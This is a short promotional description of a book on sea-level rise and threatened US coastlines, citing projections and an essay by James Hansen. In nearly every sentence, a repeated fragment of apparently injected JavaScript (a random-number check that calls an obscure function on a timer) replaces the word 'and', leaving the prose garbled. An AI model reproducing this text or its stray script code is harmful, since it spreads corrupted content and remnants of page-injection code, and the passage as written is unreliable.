Current scientific projections conclusively show that the future of civilization along the world’s coasts is at stake due to the climate-change crisis. According to the 2012 NOAA National Climate Assessment the Earth’s sea levels will likely rise by 4.1 to 6.6 feet within a century. This amount of sea-rise, compounded by hurricanes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and storm surges, will threaten andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and make unsustainable large portions of the coastal areas of the United States, from Texas to Florida andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and along the Atlantic seaboard. Dr. James Hansen has been a pioneering researcher of the likely consequences of climate change andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and his original essay included in the book sheds light on both his recent findings that a global temperature increase of two degrees Celsius will have catastrophic consequences leading to extreme amounts of sea rise andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and his proposed solution to the crisis.
Based on the extremely serious nature of the problems addressed in America’s Endangered Coasts andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the significance of the photographs contained within it, this book promises to make an important contribution to the public’s awareness of climate change andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and its impact on everyday life.
